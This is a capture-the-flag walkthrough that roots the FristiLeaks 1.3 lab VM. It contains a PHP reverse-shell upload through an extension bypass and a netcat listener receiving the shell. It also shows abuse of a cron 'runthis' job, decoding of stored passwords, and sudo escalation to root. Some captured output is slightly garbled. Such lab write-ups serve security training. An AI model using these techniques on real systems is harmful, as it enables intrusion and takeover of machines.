

Up and running!



FristiLeaks 1 [Running] - Oracle VM VirtualBox


File Machine View Input Devices Help

```
Fristileaks 1.3 vulnerable VM by Ar0xA.  
Goal: get root (uid 0) and read the flag file  
  
Thanks to dqi and barrebas for testing!  
  
IP address:192.168.1.190  
localhost login: _
```


Let's nmap the network

```
(kali㉿kali)-[~]  
$ nmap -A -p- 192.168.1.190  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-18 09:51 EDT  
Nmap scan report for 192.168.1.190  
Host is up (0.0042s latency).  
Not shown: 65357 filtered tcp ports (no-response), 177 filtered tcp ports (host-unreach)  
PORT      STATE SERVICE VERSION  
80/tcp    open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)  
|_ http-methods:  
|_   Potentially risky methods: TRACE  
|_ http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3  
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).  
|_ http-robots.txt: 3 disallowed entries  
|_ /cola /sisi /beer
```

Those directories are dead ends and lead to pages with this image



I know this sounds like I googled the walkthrough, but I swear this was a blind attempt and I got and admin portal on my first try



## Welcome to #fristileaks admin portal




**Member Login**

Username :

Password :

There's a base64 encoded image in the source code

```
<br/>
<!--
1VB0Rw0KGgoAAAAANSUeUgAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IarsC6QAAAAARnQ1BAAcX
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dLRdtsgEIVhr8sL8nqymmw10k1
S0IAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHRY4A8CJHAH1RIwC8yBEAXuQIAC9yBIAX0QLA1xw
B4EWDAPAIrWb4kSMaVmgRAf7kCAAVcgSAFzKcWIsCaeBfjgDwIkcAeJEjALzIEQBeSAGALSkc+f
m63yaP7/XP/5RUM2jx71Mz12dqpguZHP1+zJ053b9+1gd/0TL2WuLL5+RmpJqStMTKE1paHLVXJJ
Zv7/d516qse0t9rWa6UMsR1+WroRL72DbdWkqZ50tMPqGL8LRhzyWjWkTFDPXfmuLC7e81bXnN0vb
DpYz0WN1WqpLLS0w+oaXwomXXtFhL8e6W+lrNd0FujoQNJ9XbKtHmpSUMn9BSeGf51bUcr6W+VjNd
jjJQjcelwepPCjLLNXFp18gktXfnVtYSd6UpINdPFCDLyKB3dyPLpSTVzZYNJR7R0WHE1FGv5NrDU
12qmc/1/Zz2ZWX11abl10aLqjZdq5sqSxUgtWY7syq+u6UpINd0FeISENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmc+Ucqd+g6E1JNsX16/1/6BtvvEQzF5Ym2JLhyMLz4sNNtp/psKg1
04VaJmwz1EdZvmSz9E0YbzbI/FSycgVSzZ1XDNmS4cjCn1+kLRnqizXThUq0hEkso2k5pGy00aLq
11n+skSqGfOSIVsKCSZv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
t0H0drysrz404sdLPW1mULDLudSpdEsk5vf56tqg1xnfx88tu/Pzy7VjHXJmC21H91WvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4LN0co9UnY5dqxrhk0JZKezwdNwqfnv6A0UN9sWb6UuYR5ZT2B+lwDh++FL
3K/U+z2UJNWNmCmhlZUe2v6n/dAWG+mLN9KGW19EcKsMJL6o6+ecH8dv0Uu4PnkqD12rGu1S8HK
uL91MrFG9gga/VTB8qORLUStqF7fYU7tgsn/4+zfhV6a1iIszLGrGvGTILsLh1Pbnh6KnLDU12q
mD+0cKQ8nUnpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWuLSfYlW+hDLkcIAtuHEUzu/L91867X34
rPtA6LwL10ZrQX6gu37aIukRkVaylRfqpK+9HNKH85HnOCtkC4P31Vebhd8fy/Vz01CkqeBWLrrFhe
EPdWj03SSys7XVF+qmT5UcmT9+ss//fyy0LU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5ASCLH
AHgRY4A8CJHAH1RIwC8yBEAXuQIAC9yBIAX0QLA1xwB4EWDAPAIrWb4kSMaVmgRAf7kCAAVcgSAFzK
cWIsCaeBfjgDwIkcAeJEjALzIEQBeSAGAL3IEgBc5ASCLHHAHRY4A8Pn9/QNa7zi1k1qtycQAAAAAJR
USErkJggg==
-->
<table width="300" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#
```




And a username

```
<meta name= description content= super test password login= test page. we use base64 encoding
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.


- by eezeepz
-->
/heads
```

Using eezeepz and that password as credentials, I managed to login




Login successful

[upload file](#)



If I attempt to upload a php shell, I get this error



If we upload an image, let's say, image.jpg, we can access it in /fristi/uploads/image.jpg

So our next step is to bypass upload restrictions and upload a .php reverse shell

This worked!

```
13 Upgrade-Insecure-Requests: 1
14
15 -----388005336922710586044274771682
16 Content-Disposition: form-data; name="fileToUpload"; filename="rev.php.jpg"
17 Content-Type: application/x-php
18
19
```

```
(kali@kali)-[~/Desktop]
$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.1.180] from (UNKNOWN) [192.168.1.190] 43903
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
10:19:29 up 28 min, 0 users, load average: 0.04, 1.39, 1.43
USER      TTY      FROM      LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$ whoami
whoami
apache
sh-4.1$ |
```

There are 3 users but we only have access to one users' files. There is an interesting notes.txt file inside eezeepz's home folder

```
Jerry
bash-4.1$ ls ..
ls ..
admin eezeepz fristigod
bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,
Referer: http://192.168.1.190/fristi/upload.php
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Content-Type: application/x-php
Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry
bash-4.1$ |
```

Let's exploit this cron job by adding a runthis file to /tmp/ which gives us access to /home/admin

```

bash-4.1$ cat /tmp/runthis
cat /tmp/runthis
/home/admin/chmod 777 /home/admin
bash-4.1$ ls -alh
ls -alh
total 652K
drwxrwxrwx. 2 admin admin 4.0K Nov 19 2015 .
drwxr-xr-x. 5 root root 4.0K Nov 19 2015 ..
-rw-r--r--. 1 admin admin 18 Sep 22 2015 .bash_logout
-rw-r--r--. 1 admin admin 176 Sep 22 2015 .bash_profile
-rw-r--r--. 1 admin admin 124 Sep 22 2015 .bashrc
-rwxr-xr-x 1 admin admin 45K Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48K Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 89K Nov 18 2015 df
-rwxr-xr-x 1 admin admin 24K Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 160K Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 160K Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 84K Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt
bash-4.1$ |

```

The interesting files contain the following

```

bash-4.1$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ303omkJLmy2pcuTq
bash-4.1$ cat whois
cat whoisyourgodnow.txt
=RFn0AKnlMHMPiZpyuTI0ITG
bash-4.1$ cat cryptpass.py
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64, codecs, sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[:: -1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult
bash-4.1$ |

```

So to decrypt the passwords found we must do the reverse of this:

- 1) Reverse the encrypted string (because of the [::-1])

- 2) Decode it with the rot13 algorithm
- 3) Base64 decode it

So I built a tiny python script and decoded the passwords

```
(kali㉿kali)-[~/Desktop]
$ python2 decoder.py mVGZ303omkJLmy2pcuTq
thisisalsopw123

(kali㉿kali)-[~/Desktop]
$ python2 decoder.py =RFn0AKnlMHMPizpyuTI0ITG
LetThereBeFristi!

(kali㉿kali)-[~/Desktop]
$ cat decoder.py
import base64, codecs,sys

def decode(str):
    b64 = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(b64)

print decode(sys.argv[1])
```

The first password is for the user admin, who cannot run sudo on this machine... So we can ignore that

The second password is for fristigod, who has the following sudo permissions

```
bash-4.1$ sudo -l
sudo -l
Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$ |
```

This appears to be a free RCE program, but it does not allow us to use it...

```

bash-4.1$ /var/fristigod/.secret_admin_stuff/doCom
/var/fristigod/.secret_admin_stuff/doCom
Nice try, but wrong user ;)
bash-4.1$ strings doCom
strings doCom
/lib64/ld-linux-x86-64.so.2 hp.jpg HTTP/1.1
__gmon_start__
libc.so.6
setuid
exit
strcat
stderr
system
getuid
fwrite
__libc_start_main
GLIBC_2.2.5
fff.
ffffff.
l$ L
t$(L
|$0H
Nice try, but wrong user ;)
Usage: ./program_name terminal_command ...

```

In the previous directory, there is a .bash\_history

```

bash-4.1$ pwd
pwd
/var/fristigod
bash-4.1$ ls -alh
ls -alh
total 16K
drwxr-x— 3 fristigod fristigod 4.0K Nov 25 2015 .
drwxr-xr-x. 19 root root 4.0K Nov 19 2015 ..
-rw— 1 fristigod fristigod 864 Nov 25 2015 .bash_history
drwxrwxr-x. 2 fristigod fristigod 4.0K Nov 25 2015 .secret_admin_stuff

```

Which contains...

```
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
```

So this is the way to use the program

```

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash -i
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash -i
bash-4.1# whoami
whoami
root
bash-4.1# |

```

Rooted! In a little over an hour. The author says it's supposed to be rooted in about 4 hours, so we're in pretty good shape!

```
bash-4.1# cat fri
cat fristileaks_secrets.txt
Congratulations on beating Fristileaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1
```